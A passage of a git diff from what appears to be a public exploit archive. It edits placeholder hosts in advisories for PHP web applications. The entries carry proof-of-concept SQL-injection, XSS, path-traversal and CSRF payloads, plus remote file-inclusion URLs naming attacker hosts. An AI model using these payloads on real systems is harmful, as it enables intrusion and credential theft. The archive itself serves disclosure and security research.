exploit latent vulnerabilities in the underlying database. -http://www.example.com/new_recipes/recipes/viewRecipe.php?recipeId=44 \ No newline at end of file +http://www.example.com/new_recipes/recipes/viewRecipe.php?recipeId=44 \ No newline at end of file diff --git a/platforms/php/webapps/3598.txt b/platforms/php/webapps/3598.txt index c6fb8bd76..74efe1425 100755 --- a/platforms/php/webapps/3598.txt +++ b/platforms/php/webapps/3598.txt @@ -25,7 +25,7 @@ File:boxes/quotes.php ************************************************************************************** RFI#1: -http://server/path/boxes/quotes.php?Site_Path=[SHELL] +http://SITE.com/path/boxes/quotes.php?Site_Path=[SHELL] ************************************************************************************** @@ -42,7 +42,7 @@ include($Site_Path . "includes/column_right.php"); <<< rfi coded ************************************************************************************** RFI#2: -http://server/path/templates/mangobery/footer.sample.php?Site_Path=[SHELL] +http://SITE.com/path/templates/mangobery/footer.sample.php?Site_Path=[SHELL] Thanks:Siircicocuk and x0r0n ************************************************************************************** diff --git a/platforms/php/webapps/35984.txt b/platforms/php/webapps/35984.txt index 849adb051..71da4ee39 100755 --- a/platforms/php/webapps/35984.txt +++ b/platforms/php/webapps/35984.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc Virtual Money 1.5 is affected; other versions may also be vulnerable. -www.example.com/index.php?option=com_virtualmoney&view=landpage&task=subcategory&catid=[EXPLOIT] \ No newline at end of file +www.example.com/index.php?option=com_virtualmoney&view=landpage&task=subcategory&catid=[EXPLOIT] \ No newline at end of file diff --git a/platforms/php/webapps/35987.txt b/platforms/php/webapps/35987.txt index d2e6e73b5..320e2ceb5 100755 --- a/platforms/php/webapps/35987.txt +++ b/platforms/php/webapps/35987.txt @@ -6,4 +6,4 @@ A successful exploit could allow an attacker to compromise the application, acce Support Incident Tracker 3.63p1 is vulnerable; other versions may also be affected. -http://www.example.com/sit/search.php?search_string=1' union select 1,version() \ No newline at end of file +http://www.example.com/sit/search.php?search_string=1' union select 1,version() \ No newline at end of file diff --git a/platforms/php/webapps/35989.txt b/platforms/php/webapps/35989.txt index 0b22b9bf3..7726a0599 100755 --- a/platforms/php/webapps/35989.txt +++ b/platforms/php/webapps/35989.txt @@ -6,4 +6,4 @@ A successful exploit may aid in phishing attacks; other attacks are possible. MBoard 1.3 is vulnerable; other versions may also be affected. -http://www.example.com/go.php?url=http://example.com \ No newline at end of file +http://www.example.com/go.php?url=http://example.com \ No newline at end of file diff --git a/platforms/php/webapps/35996.txt b/platforms/php/webapps/35996.txt index 1db68fdd0..55c6b9901 100755 --- a/platforms/php/webapps/35996.txt +++ b/platforms/php/webapps/35996.txt @@ -28,3 +28,4 @@ Exploit(Cross Site Scripting): Thanks for read :) Special Thanks: vulnerability.io, pentester.io, osvdb.org, exploit-db.com, 1337day.com, cxsecurity.com, packetstormsecurity.com and all other exploit archives, hackers and security researchers. + \ No newline at end of file diff --git a/platforms/php/webapps/35998.txt b/platforms/php/webapps/35998.txt index 44f80d5ea..5609a1c02 100755 --- a/platforms/php/webapps/35998.txt +++ b/platforms/php/webapps/35998.txt @@ -4,4 +4,4 @@ Trading Marketplace script is prone to an SQL-injection vulnerability because th A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. -http://www.example.com/selloffers.php?cid=[SQL] \ No newline at end of file +http://www.example.com/selloffers.php?cid=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/3600.txt b/platforms/php/webapps/3600.txt index 526699137..e33001a15 100755 --- a/platforms/php/webapps/3600.txt +++ b/platforms/php/webapps/3600.txt @@ -57,7 +57,7 @@ Successful exploitation requires that "register_globals" is enabled. Poc/Exploit: ~~~~~~~~~ -http://server/[Time-Assistant_path]/lib/timesheet.class.php?inc_dir=http://attacker.com/evil? +http://www.target.com/[Time-Assistant_path]/lib/timesheet.class.php?inc_dir=http://attacker.com/evil? Solution: diff --git a/platforms/php/webapps/36000.txt b/platforms/php/webapps/36000.txt index 20bd9e3cf..222dffed3 100755 --- a/platforms/php/webapps/36000.txt +++ b/platforms/php/webapps/36000.txt @@ -6,4 +6,4 @@ A successful exploit could allow an attacker to compromise the application, acce HP Network Automation 7.2x, 7.5x, 7.6x, 9.0, 9.10 are vulnerable. -http://www.example.com/view.php?id=1'+union+select+1,2,concat(user(),0x3a,version(),0x3a,database()),4,5,6,7,8,9,10,11' \ No newline at end of file +http://www.example.com/view.php?id=1'+union+select+1,2,concat(user(),0x3a,version(),0x3a,database()),4,5,6,7,8,9,10,11' \ No newline at end of file diff --git a/platforms/php/webapps/36005.txt b/platforms/php/webapps/36005.txt index 4193d81a4..6e4e6a068 100755 --- a/platforms/php/webapps/36005.txt +++ b/platforms/php/webapps/36005.txt @@ -5,4 +5,4 @@ The MyTabs plugin for MyBB is prone to an SQL-injection vulnerability because th A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. -http://www.example.com/mybbpath/index.php?tab=1' and(select 1 from(select count(*),concat((select username from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)-- - \ No newline at end of file +http://www.example.com/mybbpath/index.php?tab=1' and(select 1 from(select count(*),concat((select username from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)-- - \ No newline at end of file diff --git a/platforms/php/webapps/36008.txt b/platforms/php/webapps/36008.txt index 5c7a26d19..372181f58 100755 --- a/platforms/php/webapps/36008.txt +++ b/platforms/php/webapps/36008.txt @@ -4,4 +4,4 @@ Gilnet News is prone to an SQL-injection vulnerability because it fails to suffi Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation. -http://www.example.com/[PATH]/read_more.php?id=[Injection] \ No newline at end of file +http://www.example.com/[PATH]/read_more.php?id=[Injection] \ No newline at end of file diff --git a/platforms/php/webapps/36009.txt b/platforms/php/webapps/36009.txt index 83d69e8c5..8bc8f139f 100755 --- a/platforms/php/webapps/36009.txt +++ b/platforms/php/webapps/36009.txt @@ -4,4 +4,4 @@ mt LinkDatenbank is prone to a cross-site scripting vulnerability because it fai An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/mt_linkdb/links.php?b=%22%3E%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3E \ No newline at end of file +http://www.example.com/mt_linkdb/links.php?b=%22%3E%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/36012.txt b/platforms/php/webapps/36012.txt index 4553b112e..7739fa3d0 100755 --- a/platforms/php/webapps/36012.txt +++ b/platforms/php/webapps/36012.txt @@ -4,4 +4,4 @@ The 'Slideshow Gallery' component for Joomla! is prone to an SQL-injection vulne Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_xeslidegalfx&Itemid=&func=detail&id=1 \ No newline at end of file +http://www.example.com/index.php?option=com_xeslidegalfx&Itemid=&func=detail&id=1 \ No newline at end of file diff --git a/platforms/php/webapps/36015.txt b/platforms/php/webapps/36015.txt index 2730ca930..e76e7f282 100755 --- a/platforms/php/webapps/36015.txt +++ b/platforms/php/webapps/36015.txt @@ -4,4 +4,4 @@ The 'com_community' component for Joomla! is prone to an SQL-injection vulnerabi Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_community&amp;view=profile&amp;userid=156 \ No newline at end of file +http://www.example.com/index.php?option=com_community&amp;view=profile&amp;userid=156 \ No newline at end of file diff --git a/platforms/php/webapps/36018.txt b/platforms/php/webapps/36018.txt index 0dfc50566..a70bbed7e 100755 --- a/platforms/php/webapps/36018.txt +++ b/platforms/php/webapps/36018.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow WP e-Commerce 3.8.6 is vulnerable; other versions may also be affected. -http://www.example.com/wp-content/plugins/wp-e-commerce/wpsc-theme/wpsc-cart_widget.php?cart_messages[]=%3Cimg%20src=1% 20onerror=javascript:alert%28document.cookie%29%3E \ No newline at end of file +http://www.example.com/wp-content/plugins/wp-e-commerce/wpsc-theme/wpsc-cart_widget.php?cart_messages[]=%3Cimg%20src=1% 20onerror=javascript:alert%28document.cookie%29%3E \ No newline at end of file diff --git a/platforms/php/webapps/36031.txt b/platforms/php/webapps/36031.txt index 8945c3e59..8b5ae3ed2 100755 --- a/platforms/php/webapps/36031.txt +++ b/platforms/php/webapps/36031.txt @@ -8,4 +8,4 @@ PoC: -http://server/path/fotogalerie.php?id=../../../../../../../../../../etc/passwd%00 +http://site.com/path/fotogalerie.php?id=../../../../../../../../../../etc/passwd%00 diff --git a/platforms/php/webapps/36032.txt b/platforms/php/webapps/36032.txt index 8705f1c39..087e59bb2 100755 --- a/platforms/php/webapps/36032.txt +++ b/platforms/php/webapps/36032.txt @@ -7,4 +7,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br http://www.example.com/[path]/admin/index.php?msg=[XSS] http://www.example.com/[path]/signinform.php?id=0&return_add=/caregivers/index.php&errmsg=[XSS] http://www.example.com/[path]/signinform.php?errmsg=[XSS] -http://www.example.com/[path]/msg_confirm_mem.php?errmsg=[XSS] \ No newline at end of file +http://www.example.com/[path]/msg_confirm_mem.php?errmsg=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/36033.txt b/platforms/php/webapps/36033.txt index 66ab019bb..2249dde04 100755 --- a/platforms/php/webapps/36033.txt +++ b/platforms/php/webapps/36033.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Search Network 2.0 is vulnerable; other versions may also be affected. -http://www.example/demo/search.php?action=search_results&query=[XSS Attack] \ No newline at end of file +http://www.example/demo/search.php?action=search_results&query=[XSS Attack] \ No newline at end of file diff --git a/platforms/php/webapps/36034.txt b/platforms/php/webapps/36034.txt index 2c1715c60..a31b3754c 100755 --- a/platforms/php/webapps/36034.txt +++ b/platforms/php/webapps/36034.txt @@ -11,4 +11,4 @@ http://www.example.com/openemr/interface/main/calendar/index.php?pc_category='<s http://www.example.com/openemr/interface/main/calendar/index.php?pc_topic='<script>alert('XSS');</script> http://www.example.com/openemr/interface/main/messages/messages.php?sortby="<script>alert('XSS');</script> http://www.example.com/openemr/interface/main/messages/messages.php?sortorder="<script>alert('XSS');</script> -http://www.example.com/openemr/interface/main/messages/messages.php?showall=no&sortby=users%2elname&sortorder=asc&begin=724286<"> \ No newline at end of file +http://www.example.com/openemr/interface/main/messages/messages.php?showall=no&sortby=users%2elname&sortorder=asc&begin=724286<"> \ No newline at end of file diff --git a/platforms/php/webapps/36035.txt b/platforms/php/webapps/36035.txt index bb2e6922a..470e6ceb0 100755 --- a/platforms/php/webapps/36035.txt +++ b/platforms/php/webapps/36035.txt @@ -4,4 +4,4 @@ BlueSoft Banner Exchange is prone to an SQL-injection vulnerability because it f Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/signup.php?referer_id=1[SQLi] \ No newline at end of file +http://www.example.com/signup.php?referer_id=1[SQLi] \ No newline at end of file diff --git a/platforms/php/webapps/36038.txt b/platforms/php/webapps/36038.txt index 51e696753..ef2867864 100755 --- a/platforms/php/webapps/36038.txt +++ b/platforms/php/webapps/36038.txt @@ -10,4 +10,4 @@ http://www.example.com/wp-admin/admin.php?page=eshop-templates.php&eshoptemplate http://www.example.com/wp-admin/admin.php?page=eshop-orders.php&view=1&action=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E -http://www.example.com/wp-admin/admin.php?page=eshop-orders.php&viewemail=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E \ No newline at end of file +http://www.example.com/wp-admin/admin.php?page=eshop-orders.php&viewemail=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/36044.txt b/platforms/php/webapps/36044.txt index 8f4aa74f1..0da204f40 100755 --- a/platforms/php/webapps/36044.txt +++ b/platforms/php/webapps/36044.txt @@ -4,4 +4,4 @@ PHP Flat File Guestbook is prone to a remote file-include vulnerability because Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible. -http://www.example.com/[path]/ffgb_admin.php?book_id=http://shell? \ No newline at end of file +http://www.example.com/[path]/ffgb_admin.php?book_id=http://shell? \ No newline at end of file diff --git a/platforms/php/webapps/36046.txt b/platforms/php/webapps/36046.txt index fa2d093b0..ba08ed838 100755 --- a/platforms/php/webapps/36046.txt +++ b/platforms/php/webapps/36046.txt @@ -4,4 +4,4 @@ phpWebSite is prone to a cross-site scripting vulnerability because it fails to An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/mod.php?mod=userpage&page_id=[XSS] \ No newline at end of file +http://www.example.com/mod.php?mod=userpage&page_id=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/36047.txt b/platforms/php/webapps/36047.txt index 0d1d21bc8..6aa4bc8a5 100755 --- a/platforms/php/webapps/36047.txt +++ b/platforms/php/webapps/36047.txt @@ -7,4 +7,4 @@ An attacker can exploit this vulnerability to obtain potentially sensitive infor awiki 20100125 is vulnerable; other versions may also be affected. http://www.example.com/awiki/index.php?page=/etc/passwd -http://www.example.com/awiki/index.php?action=Editar+el+Motor&scriptname=/etc/passwd \ No newline at end of file +http://www.example.com/awiki/index.php?action=Editar+el+Motor&scriptname=/etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/36048.txt b/platforms/php/webapps/36048.txt index 5d5083f56..9a2d7f931 100755 --- a/platforms/php/webapps/36048.txt +++ b/platforms/php/webapps/36048.txt @@ -5,4 +5,4 @@ PHPList is prone to a security-bypass vulnerability and an information-disclosur An attacker can exploit these issues to gain access to sensitive information and send arbitrary messages to registered users. Other attacks are also possible. http://www.example.com/lists/?p=forward&uid=VALID_UID&mid=ID -http://www.example.com/lists/?p=forward&uid=foo&mid=ID \ No newline at end of file +http://www.example.com/lists/?p=forward&uid=foo&mid=ID \ No newline at end of file diff --git a/platforms/php/webapps/36068.txt b/platforms/php/webapps/36068.txt index 1dbe8b297..df4ab9b9b 100755 --- a/platforms/php/webapps/36068.txt +++ b/platforms/php/webapps/36068.txt @@ -7,4 +7,4 @@ Exploiting these issues could allow an attacker to steal cookie-based authentica MantisBT 1.2.6 is vulnerable; other versions may also be affected. http://www.example.com/path/search.php?project_id=[XSS] -http://www.example.com/path/core.php?mbadmin=[SQL] \ No newline at end of file +http://www.example.com/path/core.php?mbadmin=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/3607.txt b/platforms/php/webapps/3607.txt index 9cf291bd6..5baa860d3 100755 --- a/platforms/php/webapps/3607.txt +++ b/platforms/php/webapps/3607.txt @@ -8,46 +8,46 @@ Discovered By:- ThE dE@Th <<{AsB-MaY DiScOvEr ExPlIoTs Gr0uP} >> Wrong Code:- include_once("$install_root ******************************************************************************** -ExPlOiT:-http://server/include/core/support.inc.php?install_root=[Shell] -ExPlOiT:-http://server/include/core/function.inc.php?install_root=[Shell] -ExPlOiT:-http://server/include/core/rdal_object.inc.php?install_root=[Shell] -ExPlOiT:-http://server/include/core/rdal_editor.inc.php?install_root=[Shell] -ExPlOiT:-http://server/include/core/login.inc.php?install_root=[Shell] -ExPlOiT:-http://server/include/core/request.inc.php?install_root=[Shell] -ExPlOiT:-http://server/include/core/categories.inc.php?install_root=[Shell] -ExPlOiT:-http://server/include/display/item/save.inc.php?install_root=[Shell] -ExPlOiT:-http://server/include/display/item/preview.inc.php?install_root=[Shell] -ExPlOiT:-http://server/include/display/item/edit_item.inc.php?install_root=[Shell] -ExPlOiT:-http://server/include/display/item/new_item.inc.php?install_root=[Shell] -ExPlOiT:-http://server/include/display/item/item_info.inc.php?install_root=[Shell] -ExPlOiT:-http://server/include/display/search.inc.php?install_root=[Shell] -ExPlOiT:-http://server/include/display/item_edit.inc.php?install_root=[Shell] -ExPlOiT:-http://server/include/display/register_succsess.inc.php?install_root=[Shell] -ExPlOiT:-http://server/include/display/context_menu.inc.php?install_root=[Shell] -ExPlOiT:-http://server/include/display/item_repost.inc.php?install_root=[Shell] -ExPlOiT:-http://server/include/display/balance.inc.php?install_root=[Shell] -ExPlOiT:-http://server/include/display/featured.inc.php?install_root=[Shell] -ExPlOiT:-http://server/include/display/user.inc.php?install_root=[Shell] -ExPlOiT:-http://server/include/display/buynow.inc.php?install_root=[Shell] -ExPlOiT:-http://server/include/display/install_complete.inc.php?install_root=[Shell] -ExPlOiT:-http://server/include/display/fees_info.inc.php?install_root=[Shell] -ExPlOiT:-http://server/include/display/user_feedback.inc.php?install_root=[Shell] -ExPlOiT:-http://server/include/display/admin_balance.inc.php?install_root=[Shell] -ExPlOiT:-http://server/include/display/activate.inc.php?install_root=[Shell] -ExPlOiT:-http://server/include/display/user_info.inc.php?install_root=[Shell] -ExPlOiT:-http://server/include/display/member.inc.php?install_root=[Shell] -ExPlOiT:-http://server/include/display/add_bid.inc.php?install_root=[Shell] -ExPlOiT:-http://server/include/display/items_filter.inc.php?install_root=[Shell] -ExPlOiT:-http://server/include/display/my_info.inc.php?install_root=[Shell] -ExPlOiT:-http://server/include/display/register.inc.php?install_root=[Shell] -ExPlOiT:-http://server/include/display/leave_feedback.inc.php?install_root=[Shell] -ExPlOiT:-http://server/include/display/user_auctions.inc.php?install_root=[Shell] -ExPlOiT:-http://server/include/design/form.inc.php?install_root=[Shell] -ExPlOiT:-http://server/include/processor.inc.php?install_root=[Shell] -ExPlOiT:-http://server/include/interfaces.inc.php?install_root=[Shell] -ExPlOiT:-http://server/include/left_menu.inc.php?install_root=[Shell] -ExPlOiT:-http://server/include/login.inc.php?install_root=[Shell] -ExPlOiT:-http://server/include/categories.inc.php?install_root=[Shell] +ExPlOiT:-http://www.SitE.com/include/core/support.inc.php?install_root=[Shell] +ExPlOiT:-http://www.SitE.com/include/core/function.inc.php?install_root=[Shell] +ExPlOiT:-http://www.SitE.com/include/core/rdal_object.inc.php?install_root=[Shell] +ExPlOiT:-http://www.SitE.com/include/core/rdal_editor.inc.php?install_root=[Shell] +ExPlOiT:-http://www.SitE.com/include/core/login.inc.php?install_root=[Shell] +ExPlOiT:-http://www.SitE.com/include/core/request.inc.php?install_root=[Shell] +ExPlOiT:-http://www.SitE.com/include/core/categories.inc.php?install_root=[Shell] +ExPlOiT:-http://www.SitE.com/include/display/item/save.inc.php?install_root=[Shell] +ExPlOiT:-http://www.SitE.com/include/display/item/preview.inc.php?install_root=[Shell] +ExPlOiT:-http://www.SitE.com/include/display/item/edit_item.inc.php?install_root=[Shell] +ExPlOiT:-http://www.SitE.com/include/display/item/new_item.inc.php?install_root=[Shell] +ExPlOiT:-http://www.SitE.com/include/display/item/item_info.inc.php?install_root=[Shell] +ExPlOiT:-http://www.SitE.com/include/display/search.inc.php?install_root=[Shell] +ExPlOiT:-http://www.SitE.com/include/display/item_edit.inc.php?install_root=[Shell] +ExPlOiT:-http://www.SitE.com/include/display/register_succsess.inc.php?install_root=[Shell] +ExPlOiT:-http://www.SitE.com/include/display/context_menu.inc.php?install_root=[Shell] +ExPlOiT:-http://www.SitE.com/include/display/item_repost.inc.php?install_root=[Shell] +ExPlOiT:-http://www.SitE.com/include/display/balance.inc.php?install_root=[Shell] +ExPlOiT:-http://www.SitE.com/include/display/featured.inc.php?install_root=[Shell] +ExPlOiT:-http://www.SitE.com/include/display/user.inc.php?install_root=[Shell] +ExPlOiT:-http://www.SitE.com/include/display/buynow.inc.php?install_root=[Shell] +ExPlOiT:-http://www.SitE.com/include/display/install_complete.inc.php?install_root=[Shell] +ExPlOiT:-http://www.SitE.com/include/display/fees_info.inc.php?install_root=[Shell] +ExPlOiT:-http://www.SitE.com/include/display/user_feedback.inc.php?install_root=[Shell] +ExPlOiT:-http://www.SitE.com/include/display/admin_balance.inc.php?install_root=[Shell] +ExPlOiT:-http://www.SitE.com/include/display/activate.inc.php?install_root=[Shell] +ExPlOiT:-http://www.SitE.com/include/display/user_info.inc.php?install_root=[Shell] +ExPlOiT:-http://www.SitE.com/include/display/member.inc.php?install_root=[Shell] +ExPlOiT:-http://www.SitE.com/include/display/add_bid.inc.php?install_root=[Shell] +ExPlOiT:-http://www.SitE.com/include/display/items_filter.inc.php?install_root=[Shell] +ExPlOiT:-http://www.SitE.com/include/display/my_info.inc.php?install_root=[Shell] +ExPlOiT:-http://www.SitE.com/include/display/register.inc.php?install_root=[Shell] +ExPlOiT:-http://www.SitE.com/include/display/leave_feedback.inc.php?install_root=[Shell] +ExPlOiT:-http://www.SitE.com/include/display/user_auctions.inc.php?install_root=[Shell] +ExPlOiT:-http://www.SitE.com/include/design/form.inc.php?install_root=[Shell] +ExPlOiT:-http://www.SitE.com/include/processor.inc.php?install_root=[Shell] +ExPlOiT:-http://www.SitE.com/include/interfaces.inc.php?install_root=[Shell] +ExPlOiT:-http://www.SitE.com/include/left_menu.inc.php?install_root=[Shell] +ExPlOiT:-http://www.SitE.com/include/login.inc.php?install_root=[Shell] +ExPlOiT:-http://www.SitE.com/include/categories.inc.php?install_root=[Shell] ******************************************************************************** # milw0rm.com [2007-03-29] diff --git a/platforms/php/webapps/36072.txt b/platforms/php/webapps/36072.txt index b6068b986..9de2a5b1b 100755 --- a/platforms/php/webapps/36072.txt +++ b/platforms/php/webapps/36072.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow OneFileCMS 1.1.1 is vulnerable; other versions may also be affected. -http://www.example.com/onefilecms/onefilecms.php?p='"><marquee><h1>XSS Vulnerability<script>alert(String.fromCharCode(88,83,83))</script></h1></marquee> \ No newline at end of file +http://www.example.com/onefilecms/onefilecms.php?p='"><marquee><h1>XSS Vulnerability<script>alert(String.fromCharCode(88,83,83))</script></h1></marquee> \ No newline at end of file diff --git a/platforms/php/webapps/36073.txt b/platforms/php/webapps/36073.txt index bc85205ee..c484b2f6e 100755 --- a/platforms/php/webapps/36073.txt +++ b/platforms/php/webapps/36073.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Pandora FMS 3.2.1 is vulnerable; other versions may also be affected. -http://www.example.com/pandora_console/index.php?sec=estado&sec2=operation/agentes/estado_agente&refr=60&group_id=12&offset=0&search=bob%22%3E%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E \ No newline at end of file +http://www.example.com/pandora_console/index.php?sec=estado&sec2=operation/agentes/estado_agente&refr=60&group_id=12&offset=0&search=bob%22%3E%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/36074.txt b/platforms/php/webapps/36074.txt index d48f882b4..f5c87f9fb 100755 --- a/platforms/php/webapps/36074.txt +++ b/platforms/php/webapps/36074.txt @@ -6,4 +6,4 @@ A successful exploit may allow an attacker to compromise the application, access TotalShopUK 1.7.2 is vulnerable; other versions may also be affected. -http://www.example.com/products/c/index.php/1' \ No newline at end of file +http://www.example.com/products/c/index.php/1' \ No newline at end of file diff --git a/platforms/php/webapps/36079.txt b/platforms/php/webapps/36079.txt index 31376bc01..3b1126625 100755 --- a/platforms/php/webapps/36079.txt +++ b/platforms/php/webapps/36079.txt @@ -4,4 +4,4 @@ Real Estate Script is prone to an HTML-injection vulnerability because it fails Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible. -"/></a></><img src=1.gif onerror=alert(1)> \ No newline at end of file +"/></a></><img src=1.gif onerror=alert(1)> \ No newline at end of file diff --git a/platforms/php/webapps/3608.txt b/platforms/php/webapps/3608.txt index 38131bad3..fcca34b20 100755 --- a/platforms/php/webapps/3608.txt +++ b/platforms/php/webapps/3608.txt @@ -50,7 +50,7 @@ resources. Proof Of Concept: ~~~~~~~~~~~~ -http://server/login/engine/db/profiledit.php?root==http://attact.com/colok.txt? +http://target.com/login/engine/db/profiledit.php?root==http://attact.com/colok.txt? ----------------------------------------------------------------------------- diff --git a/platforms/php/webapps/36080.txt b/platforms/php/webapps/36080.txt index 7fe457f93..a5f1a2f00 100755 --- a/platforms/php/webapps/36080.txt +++ b/platforms/php/webapps/36080.txt @@ -4,4 +4,4 @@ Hotel Portal is prone to an HTML-injection vulnerability because it fails to suf Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible. -http://www.example.com/city.php?hotel_city=%22%2F%3E%3C%2Fa%3E%3C%2F%3E%3Cimg+src%3D1.gif+onerror%3Dalert%281%29%3E&dayfrom=23&monthfrom=8&yearfrom=2011&dayback=24&monthback=8&yearback=2011&guest=1&rooms=1&hotel_stars=&pricefrom=0&pricetill=250&B1=Search \ No newline at end of file +http://www.example.com/city.php?hotel_city=%22%2F%3E%3C%2Fa%3E%3C%2F%3E%3Cimg+src%3D1.gif+onerror%3Dalert%281%29%3E&dayfrom=23&monthfrom=8&yearfrom=2011&dayback=24&monthback=8&yearback=2011&guest=1&rooms=1&hotel_stars=&pricefrom=0&pricetill=250&B1=Search \ No newline at end of file diff --git a/platforms/php/webapps/36081.txt b/platforms/php/webapps/36081.txt index 0aa5a746b..6b23ebb26 100755 --- a/platforms/php/webapps/36081.txt +++ b/platforms/php/webapps/36081.txt @@ -4,4 +4,4 @@ VicBlog is prone to an SQL-injection vulnerability because the application fails A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. -http://www.example.com/vicblog/index.php?page=posts&tag=1%27 \ No newline at end of file +http://www.example.com/vicblog/index.php?page=posts&tag=1%27 \ No newline at end of file diff --git a/platforms/php/webapps/36082.pl b/platforms/php/webapps/36082.pl index 25f919cfd..f8bc5cbc1 100755 --- a/platforms/php/webapps/36082.pl +++ b/platforms/php/webapps/36082.pl @@ -22,7 +22,7 @@ print <<INTRO; |==========================================| INTRO print "\n"; -print "[*] Enter URL(f.e: http://server): "; +print "[*] Enter URL(f.e: http://target.com): "; chomp(my $url=<STDIN>); print "\n"; print "[*] Enter File Path (f.e: C:\\Shell.php.gif): "; # File Path For Upload (usage : C:\\Sh3ll.php.gif) diff --git a/platforms/php/webapps/36083.txt b/platforms/php/webapps/36083.txt index 9067b93b4..1954aa396 100755 --- a/platforms/php/webapps/36083.txt +++ b/platforms/php/webapps/36083.txt @@ -8,4 +8,4 @@ Simple Machines Forum 2.0 and 1.1.14 are vulnerable; other versions may be affec [img]http://www.example.com/index.php?sa=editBuddies;remove=102;action%00=profile[/img] -[img]http://www.example.com/community/index.php?action%00=logout;token[/img] \ No newline at end of file +[img]http://www.example.com/community/index.php?action%00=logout;token[/img] \ No newline at end of file diff --git a/platforms/php/webapps/36084.html b/platforms/php/webapps/36084.html index 028bb6832..25c5b6ff8 100755 --- a/platforms/php/webapps/36084.html +++ b/platforms/php/webapps/36084.html @@ -28,7 +28,7 @@ function fireForms() } </script> -<form action="http://server/administrator/index.php?option=com_users&task=editA&id=62&hidemainmenu=1" method="post" name="adminForm"> +<form action="http://site.com/administrator/index.php?option=com_users&task=editA&id=62&hidemainmenu=1" method="post" name="adminForm"> <input type="hidden" name="name" value="Administrator" /> <input type="hidden" name="username" value="admin" /> @@ -41,4 +41,4 @@ function fireForms() <input type="radio" name="sendEmail" value="0" /> <input type="radio" name="sendEmail" value="1" checked="checked" /> -</form> \ No newline at end of file +</form> \ No newline at end of file diff --git a/platforms/php/webapps/36085.txt b/platforms/php/webapps/36085.txt index 69d57e1a7..a7ede3bc5 100755 --- a/platforms/php/webapps/36085.txt +++ b/platforms/php/webapps/36085.txt @@ -4,4 +4,4 @@ phpWebSite is prone to an SQL-injection vulnerability because it fails to suffic A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/mod.php?mod=publisher&op=allmedia&artid=-1 union select concat(aid,0x3a,pwd) from authors \ No newline at end of file +http://www.example.com/mod.php?mod=publisher&op=allmedia&artid=-1 union select concat(aid,0x3a,pwd) from authors \ No newline at end of file diff --git a/platforms/php/webapps/36090.txt b/platforms/php/webapps/36090.txt index 7dd92d643..346e31eb0 100755 --- a/platforms/php/webapps/36090.txt +++ b/platforms/php/webapps/36090.txt @@ -5,4 +5,4 @@ ClickCMS is prone to a denial-of-service vulnerability and a CAPTCHA-bypass vuln Attackers can leverage these issues to cause the affected server to stop responding or to bypass certain security mechanisms. http://www.example.com/captcha/CaptchaSecurityImages.php?width=150&height=100&characters=2 -http://www.example.com/captcha/CaptchaSecurityImages.php?width=1000&height=9000 \ No newline at end of file +http://www.example.com/captcha/CaptchaSecurityImages.php?width=1000&height=9000 \ No newline at end of file diff --git a/platforms/php/webapps/36091.txt b/platforms/php/webapps/36091.txt index 1edd54656..141143279 100755 --- a/platforms/php/webapps/36091.txt +++ b/platforms/php/webapps/36091.txt @@ -6,4 +6,4 @@ An attacker can exploit these issues to steal cookie-based authentication creden IBM Open Admin Tool 2.71 and prior are vulnerable. -http://www.example.com:8080/openadmin/index.php?act=login&do=dologin&login_admin=Login&groups=1&grouppass=&informixserver= &host= &port= &username= &userpass= &idsprotocol=onsoctcp&conn_num \ No newline at end of file +http://www.example.com:8080/openadmin/index.php?act=login&do=dologin&login_admin=Login&groups=1&grouppass=&informixserver= &host= &port= &username= &userpass= &idsprotocol=onsoctcp&conn_num \ No newline at end of file diff --git a/platforms/php/webapps/36093.txt b/platforms/php/webapps/36093.txt index 05ae64e6f..eab57ee2f 100755 --- a/platforms/php/webapps/36093.txt +++ b/platforms/php/webapps/36093.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to 